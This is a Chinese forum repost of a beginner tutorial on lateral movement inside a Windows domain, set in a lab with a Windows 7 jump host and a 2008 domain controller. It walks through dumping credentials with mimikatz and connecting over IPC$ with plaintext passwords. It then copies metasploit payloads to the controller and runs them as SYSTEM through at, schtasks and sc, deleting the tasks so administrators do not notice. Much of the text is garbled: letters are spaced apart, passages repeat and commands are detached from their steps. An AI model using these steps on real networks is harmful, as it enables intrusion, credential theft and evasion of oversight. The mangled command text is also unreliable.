搜索

[21719] 2021-02-28_内网渗透测试：内网横向移动基础总结

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-28_内网渗透测试：内网横向移动基础总结 内 网 渗 透 测 试 ： 内 网 横 向 移 动 基 础 总 结 L e m o n S e c   2 0 2 1 - 0 2 - 2 8 转 自 f r e e b u f 横 向 移 动 横 向 移 动 在 内 网 渗 透 中 ， 当 攻 击 者 获 取 到 内 网 某 台 机 器 的 控 制 权 后 ， 会 以 被 攻 陷 的 主 机 为 跳 板 ， 通 过 收 集 域 内 凭 证 等 各 种 方 法 ， 访 问 域 内 其 他 机 器 ， 进 一 步 扩 大 资 产 范 围 。 通 过 此 类 手 段 ， 攻 击 者 最 终 可 能 获 得 域 控 制 器 的 访 问 权 限 ， 甚 至 完 全 控 制 基 于 W i n d o w s 操 作 系 统 的 整 个 内 网 环 境 ， 控 制 域 环 境 下 的 全 部 机 器 。 在 这 篇 文 章 中 ， 我 们 来 讲 解 一 下 横 向 移 动 的 思 路 与 攻 击 手 法 。 由 于 最 近 开 学 了 有 很 多 很 多 的 事 ， 所 以 一 直 没 有 时 间 更 新 ， 文 章 可 能 略 显 仓 促 ， 不 足 之 处 还 请 多 多 指 教 。 本 文 大 多 是 我 最 近 的 学 习 总 结 ， 专 为 想 我 一 样 正 在 入 门 的 小 白 准 备 ， 文 章 内 容 基 础 且 丰 富 ， 对 于 下 面 所 讲 的 每 本 文 大 多 是 我 最 近 的 学 习 总 结 ， 专 为 想 我 一 样 正 在 入 门 的 小 白 准 备 ， 文 章 内 容 基 础 且 丰 富 ， 对 于 下 面 所 讲 的 每 种 攻 击 手 法 的 具 体 详 情 ， 还 请 阅 读 我 的 相 关 文 章 。 大 佬 路 过 还 望 多 多 点 评 ！ 种 攻 击 手 法 的 具 体 详 情 ， 还 请 阅 读 我 的 相 关 文 章 。 大 佬 路 过 还 望 多 多 点 评 ！ 在 接 下 来 的 前 几 个 实 验 中 ， 我 们 以 下 面 这 个 内 网 环 境 作 为 测 试 环 境 ： 在 接 下 来 的 前 几 个 实 验 中 ， 我 们 以 下 面 这 个 内 网 环 境 作 为 测 试 环 境 ：
W i n d o w s   7 为 跳 板 机 用 户 名 ： d o u s e r 密 码 ： D o t e s t 1 2 3 W i n d o w s   s e r v e r   2 0 0 8 为 域 控 （ 主 机 名 ： W I N - E N S 2 V R 5 T R 3 N ） 用 户 名 ： a d m i n i s t r a t o r 密 码 ： L i u 7 8 9 6 3 攻 击 者 已 经 获 得 了 W i n d o w s 7 的 权 限 ， 想 要 以 W i n d o w s 7 作 为 跳 板 机 进 一 步 渗 透 内 网 的 W i n d o w s   s e r v e r   2 0 0 8 ， 并 且 攻 击 者 已 经 在 跳 板 机 上 面 通 过 s o c k s 代 理 等 技 术 使 自 己 可 以 访 问 到 内 网 的 W i n d o w s   s e r v e r   2 0 0 8 。 接 下 来 ， 攻 击 者 将 以 各 种 横 向 移 动 的 方 法 尝 试 获 得 内 网 W i n d o w s   s e r v e r   2 0 0 8 的 控 制 权 。 获 取 域 内 单 机 密 码 与 获 取 域 内 单 机 密 码 与 H a s h 在 内 网 渗 透 中 ， 很 多 横 向 移 动 的 方 法 都 需 要 攻 击 者 先 获 取 域 用 户 的 密 码 或 者 H a s h 值 才 能 进 行 ， 比 如 哈 希 传 递 攻 击 、 各 种 票 据 传 递 ， 还 有 黄 金 票 据 维 持 权 限 等 等 。 P w D u m p 7 工 具 工 具 P w d u m p 7 可 以 在 C M D 下 提 取 出 系 统 中 的 用 户 的 密 码 h a s h   ( 包 括 L M 和 N T L M ) ， 需 要 系 统 权 限 ， “ 骨 灰 ” 级 黑 客 玩 家 可 能 听 说 过 这 个 玩 具 。 通 过 P w d u m p 7 提 取 出 的 H A S H ， 可 以 用 o p h c r a c k 等 工 具 破 出 明 文 密 码 ， 对 进 一 步 渗 透 是 有 很 大 帮 助 的 。 M i m i k a t z 工 具 工 具 M i m i k a t z 是 由 法 国 人 B e n j a m i n 开 发 的 一 款 功 能 强 大 的 轻 量 级 调 试 工 具 ， 因 功 能 强 大 ， 能 够 直 接 读 取 W i n d o w s 操 作 系 统 的 明 文 密 码 ， 因 而 闻 名 于 渗 透 测 试 领 域 。 通 过 它 你 可 以 提 升 进 程 权 限 注 入 进 程 读 取 进 程 内 存 ， 当 然 他 最 大 的 亮 点 就 是 他 可 以 直 接 从   l s a s s . e x e   进 程 中 获 取 当 前 登 录 系 统 用 户 名 的 密 码 。 当 前 登 录 系 统 用 户 名 的 密 码 。
M i m i k a t z 读 取 明 文 密 码 和 h a s h 也 时 最 常 用 的 方 法 。 需 要 管 理 员 权 限 。 此 部 分 的 更 多 详 情 请 看 我 的 文 章 《 内 网 横 向 移 动 研 究 ： 获 取 域 内 单 机 密 码 与 H a s h 》 利 用 利 用 W i n d o w s 远 程 连 接 命 令 进 行 横 向 渗 透 远 程 连 接 命 令 进 行 横 向 渗 透 在 渗 透 测 试 中 ， 拿 到 目 标 机 器 的 用 户 明 文 密 码 或 者 N T L M   H a s h 后 ， 可 以 用 W i n d o w s 自 带 的 方 法 对 远 程 目 标 系 统 进 行 命 令 行 下 的 连 接 操 作 ， 连 接 远 程 主 机 并 执 行 相 关 命 令 。 也 可 以 通 过 P T H 的 方 法 ， 将 散 列 值 或 明 文 密 码 传 递 到 目 标 机 器 中 进 行 验 证 。 建 立 建 立 I P C 连 接 连 接 I P C $ ( I n t e r n e t   P r o c e s s   C o n n e c t i o n )   是 N T 2 0 0 0 的 一 项 新 功 能 ， 它 有 一 个 特 点 ， 即 在 同 一 时 间 内 ， 两 个 I P 之 间 只 允 许 建 立 一 个 连 接 。 I P C   可 以 通 过 验 证 用 户 名 和 密 码 获 得 相 应 的 权 限 ， 通 常 在 远 程 管 理 计 算 机 和 查 看 计 算 机 的 共 享 资 源 时 使 用 。 通 过 i p c $ ， 可 以 与 目 标 机 器 建 立 连 接 。 利 用 这 个 连 接 ， 不 仅 可 以 访 问 目 标 机 器 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 ， 以 获 取 目 标 机 器 的 目 录 结 构 、 用 户 列 表 等 信 息 。 通 过 执 行 以 下 命 令 ， 我 们 可 以 让 w i n 7 与 D C 建 立 I P C 连 接 p r i v i l e g e : : d e b u g             / /   提 升 至 d e b u g 权 限 s e k u r l s a : : l o g o n p a s s w o r d s               / /   抓 取 密 码 n e t   u s e   < D C 的 I P > i p c $   " p a s s w o r d "   / u s e r : " u s e r n a m e " n e t   u s e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 i p c $   " L i u 7 8 9 6 3 "   / u s e r : " a d m i n i s t r a t o r " n e t   u s e   / /   查 看 当 前 主 机 所 建 立 的 连 接
如 上 图 ， 我 们 成 功 让 w i n 7 与 D C 建 立 I P C 连 接 ， 之 后 我 们 便 可 以 通 过 w i n 7 访 问 目 标 机 器 D C 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 了 。 如 ， 我 们 列 出 D C 上 C 盘 的 目 录 ： 再 如 将 文 件 复 制 到 目 标 主 机 D C 的 C 盘 上 面 去 ： （ 在 实 战 中 ， 我 们 可 以 将 木 马 程 序 复 制 到 目 标 主 机 上 去 ） 在 使 用 n e t   u s e 命 令 与 远 程 主 机 建 立 i p c $ 连 接 后 ， 还 可 以 使 用 t a s k l i s t 命 令 的 / S 、 / U 、 / P 参 数 列 出 目 标 远 程 主 机 上 运 行 的 进 程 （ 可 能 有 点 慢 ） d i r   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ c o p y   C : U s e r s d o u s e r D e s k t o p w h o a m i . t x t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $
/ s ： 指 要 查 看 的 远 程 系 统 的 I P 地 址 / u ： 指 定 使 用 哪 个 用 户 执 行 这 个 远 程 命 令 / p ： 指 定 该 用 户 的 密 码 建 立 建 立   i p c $   连 接 的 条 件 ： 连 接 的 条 件 ： 目 标 主 机 开 启 了 1 3 9 和 4 4 5 端 口 目 标 主 机 管 理 员 开 启 了 i p c $ 默 认 共 享 在 使 用 完 i p c $ ， 命 令 如 下 ： 建 立 其 他 共 享 连 接 建 立 其 他 共 享 连 接 除 了 I P C 链 接 ， 我 们 还 可 以 与 目 标 主 机 的 其 他 共 享 建 立 连 接 ， 比 如 建 立 c $ 盘 共 享 连 接 ： 列 出 D C 上 C 盘 的 目 录 ： t a s k l i s t   / S   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / U   a d m i n i s t r a t o r   / P   l i u 7 8 9 6 3 n e t   u s e   I P   / d e l   / y n e t   u s e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $   " L i u 7 8 9 6 3 "   / u s e r : " a d m i n i s t r a t o r "
但 一 般 情 况 下 ， 我 们 会 建 立 I P C 连 接 ， 因 为 利 用 这 个 连 接 ， 不 仅 可 以 访 问 目 标 机 器 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 ， 以 获 取 目 标 机 器 的 目 录 结 构 、 用 户 列 表 等 信 息 。 利 用 利 用 W i n d o w s 计 划 任 务 进 行 横 向 渗 透 计 划 任 务 进 行 横 向 渗 透 利 用 利 用   a t   命 令 命 令 a t   命 令 是 W i n d o w s 自 带 的 用 于 创 建 计 划 任 务 的 命 令 ， 但 是 他 主 要 工 作 在 W i n d o w s   S e r v e r   2 0 0 8 之 前 版 本 的 操 作 系 统 中 。 我 们 可 以 通 过 a t 命 令 通 过 跳 板 机 在 目 标 主 机 D C 上 创 建 计 划 任 务 ， 让 计 算 机 在 指 定 的 时 间 执 行 木 马 程 序 ， 从 而 获 得 对 内 网 目 标 主 机 的 控 制 。 操 作 如 下 ： 1 .   先 与 目 标 主 机 建 立 i p c 连 接 。 2 .   再 使 用 n e t   t i m e 命 令 确 定 目 标 主 机 D C 的 当 前 时 间 ： 3 .   然 后 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 复 制 到 目 标 系 统 C 盘 中 ： n e t   t i m e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c o p y   s h e l l . e x e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $
4 .   接 着 使 用 a t 命 令 创 建 计 划 任 务 ， 让 目 标 主 机 D C 在 指 定 的 时 间 运 行 m e t a s p l o i t 木 马 程 序 ： 如 上 图 ， 成 功 在 目 标 主 机 上 创 建 了 一 个 I D 为 1 ， 在 1 8 : 5 3 : 0 0 执 行 s h e l l . e x e 程 序 的 计 划 任 务 等 到 时 间 到 达 1 8 : 5 3 : 0 0 时 ， 目 标 主 机 上 的 木 马 程 序 s h e l l . e x e 执 行 ， 攻 击 者 主 机 上 面 的 m s f c o n s o l e 上 成 功 获 得 目 标 主 机 的 m e t e r p r e t e r ： 5 .   最 后 ， 我 们 使 用 完 计 划 任 务 后 ， 还 需 要 将 该 计 划 任 务 删 除 ， 以 免 被 网 管 理 员 发 现 ： a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 8 : 5 3 : 0 0   c : s h e l l . e x e a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1   / d e l e t e / /   1 为 计 划 任 务 的 I D
除 了 就 像 上 面 那 样 利 用 计 划 任 务 执 行 木 马 程 序 获 得 主 机 权 限 外 ， 我 们 还 可 以 利 用 a t 计 划 任 务 直 接 执 行 系 统 命 令 ， 但 由 于 不 会 回 显 ， 所 以 我 们 要 将 执 行 的 结 果 写 入 到 一 个 文 本 文 件 中 ， 然 后 远 程 读 取 ： 然 后 用 t y p e 命 令 远 程 读 取 该 文 本 文 件 ： 如 上 图 所 示 ， 命 令 执 行 成 功 。 利 用 利 用   s c h t a s k s   命 令 命 令 上 面 我 们 讲 了 用 a t 命 令 创 建 计 划 任 务 ， 但 是 该 命 令 已 经 被 W i n d o w s   V i s t a 、 W i n d o w s   S e r v e r   2 0 0 8 及 之 后 版 本 的 操 作 系 统 废 弃 了 ， 代 替 他 的 是 s c h t a s k s 命 命 令 。 s c h t a s k s 命 令 比 a t 命 令 更 为 灵 活 、 自 由 。 下 面 来 演 示 s c h t a s k s 命 令 的 使 用 ， 于 是 ， 攻 击 者 开 始 使 用 s c h t a s k s 命 令 来 代 替 a t 命 令 。 利 用 s c h t a s k s 命 令 创 建 计 划 任 务 进 行 横 向 移 动 的 操 作 流 程 如 下 ： 1 .   先 与 目 标 主 机 建 立 i p c 连 接 。 2 .   然 后 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 s h e l l . e x e 复 制 到 目 标 系 统 C 盘 中 。 3 .   在 目 标 主 机 D C 上 创 建 一 个 名 称 为 “ b a c k d o o r ” 的 计 划 任 务 。 该 计 划 任 务 每 分 钟 启 动 一 次 ， 启 动 程 序 为 我 们 之 前 到 C 盘 下 的 s h e l l . e x e ， 启 动 权 限 为 s y s t e m 。 命 令 如 下 ： 在 没 有 建 立 i p c 连 接 时 ， 要 加 上 / u 和 / p 参 数 分 别 设 置 用 户 名 和 密 码 。 但 也 有 些 时 候 ， 由 于 当 前 权 限 或 组 策 略 设 置 等 原 因 ， 该 s c h t a s k s 方 法 远 程 创 建 计 划 任 务 可 能 会 报 错 拒 绝 访 问 ： a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 7 : 0 5 : 0 0   c m d . e x e   / c   " i p c o n f i g   >   C : U s e r s A d m i n i s t r a t o r r e s u l t . t x t " a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 7 : 0 5 : 0 0   c m d . e x e   / c   " < 命 令 > "   >   目 录 r e s u l t . t x t t y p e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ U s e r s A d m i n i s t r a t o r r e s u l t . t x t s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   b a c k d o o r   / s c   m i n u t e   / m o   1     / t r   c : s h e l l . e x e   / r u   s y s t e m   / f
遇 到 这 种 情 况 ， 我 们 可 以 加 上 / u 和 / p 参 数 分 别 设 置 高 权 限 用 户 名 和 密 码 ， 如 下 ： 这 样 就 行 了 ： 4 .   然 后 执 行 如 下 命 令 立 即 运 行 该 计 划 任 务 （ 也 可 以 自 己 等 一 分 钟 ） ： 计 划 任 务 成 功 执 行 后 ， 攻 击 者 m s f c o n s o l e 上 面 即 可 得 到 目 标 主 机 D C 的 m e t e r p r e t e r ： 5 .   计 划 任 务 成 功 运 行 后 ， 执 行 如 下 命 令 强 制 删 除 该 计 划 任 务 ： 除 了 就 像 上 面 那 样 利 用 计 划 任 务 执 行 木 马 程 序 获 得 主 机 权 限 外 ， 我 们 还 可 以 利 用 s c h t a s k s 计 划 任 务 直 接 执 行 系 统 命 令 ， 但 由 于 不 会 回 显 ， 所 以 我 们 要 将 执 行 的 结 果 写 入 到 一 个 文 本 文 件 中 ， 然 后 利 用 t y p e 命 令 远 程 读 取 ： 立 即 启 动 该 计 划 任 务 ： s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / u   a d m i n i s t r a t o r   / p   L i u 7 8 9 6 3   / t n   b a c k d o o r   / s c   m i n u t e   / m o   1   / t r   c : s h e l l . e x e   / r u   s y s t e m   / f s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   b a c k d o o r / /   i ： 忽 略 任 何 限 制 立 即 运 行 任 务 s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   b a c k d o o r   / u   a d m i n i s t r a t o r   / p   L i u 7 8 9 6 3       / /   遇 到 上 面 所 说 的 报 错 时 执 行 加 上 / u 和 / p 参 数 分 别 设 置 高 权 限 用 户 名 和 密 码 s c h t a s k s   / d e l e t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   " b a c k d o o r "   / f s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   t e s t   / s c   m i n u t e   / m o   1   / t r   " C : W i n d o w s S y s t e m 3 2 c m d . e x e   / c   ' w h o a m i   >   C : U s e r s A d m i n i s t r a t o r r e s u l t . t x t ' "   / r u   s y s t e m   / f s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   t e s t
最 后 利 用 t y p e 命 令 远 程 查 看 目 标 主 机 上 的 r e s u l t . t x t 文 件 即 可 ， 如 下 图 所 示 ， 命 令 执 行 成 功 ： 注 意 ： 在 使 用 注 意 ： 在 使 用 s c h t a s k s 命 令 时 ， 会 在 系 统 中 留 下 日 志 文 件 命 令 时 ， 会 在 系 统 中 留 下 日 志 文 件 C : W i n d o w s T a s k s S c h e d L g U . t x t 。 。 创 建 创 建 W i n d o w s 服 务 来 进 行 横 向 渗 透 服 务 来 进 行 横 向 渗 透 使 用 条 件 ： 当 前 跳 板 机 用 户 具 有 管 理 员 权 限 ( 因 为 要 创 建 服 务 ) 。 与 目 标 机 器 已 经 建 立 i p c 连 接 利 用 利 用   s c   命 令 命 令 在 w i n d o w s 系 统 命 令 提 示 符 中 ， 有 一 个 S C 工 具 命 令 集 。 该 工 具 集 主 要 用 来 对 操 作 系 统 服 务 进 行 管 理 ， 该 命 令 是 由 s e r v i c e 一 词 ， 简 化 而 来 的 。 我 们 可 以 用 s c 对 目 标 主 机 远 程 创 建 服 务 来 进 行 横 向 渗 透 使 用 s c 命 令 远 程 W i n d o w s 服 务 操 作 需 先 建 立 I P C $ 连 接 ， 否 则 在 执 行 时 会 返 回 拒 绝 访 问 。 流 程 基 本 如 下 ： 1 .   先 让 跳 板 机 与 内 网 目 标 机 D C 建 立 i p c 连 接 。 2 .   然 后 让 跳 板 机 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 b i n d . e x e 复 制 到 目 标 主 机 D C 系 统 C 盘 中 。 3 .   再 在 目 标 主 机 D C 上 创 建 一 个 名 称 为 “ b a c k d o o r ” 的 服 务 。 命 令 如 下 ： 注 意 这 里 的 格 式 ， “ = ” 后 面 是 必 须 空 一 格 的 ， 否 则 会 出 现 错 误 。 4 .   立 即 启 动 该 服 务 ： s c   [ 主 机 名 / I P ]   c r e a t e   [ s e r v i c e n a m e ]   b i n p a t h =   " [ p a t h ] "       # 创 建 计 划 任 务 启 动 程 序 s c   W I N - E N S 2 V R 5 T R 3 N   c r e a t e   b i n d s h e l l   b i n p a t h =   " c : b i n d . e x e " s c   W I N - E N S 2 V R 5 T R 3 N   s t a r t   b i n d s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理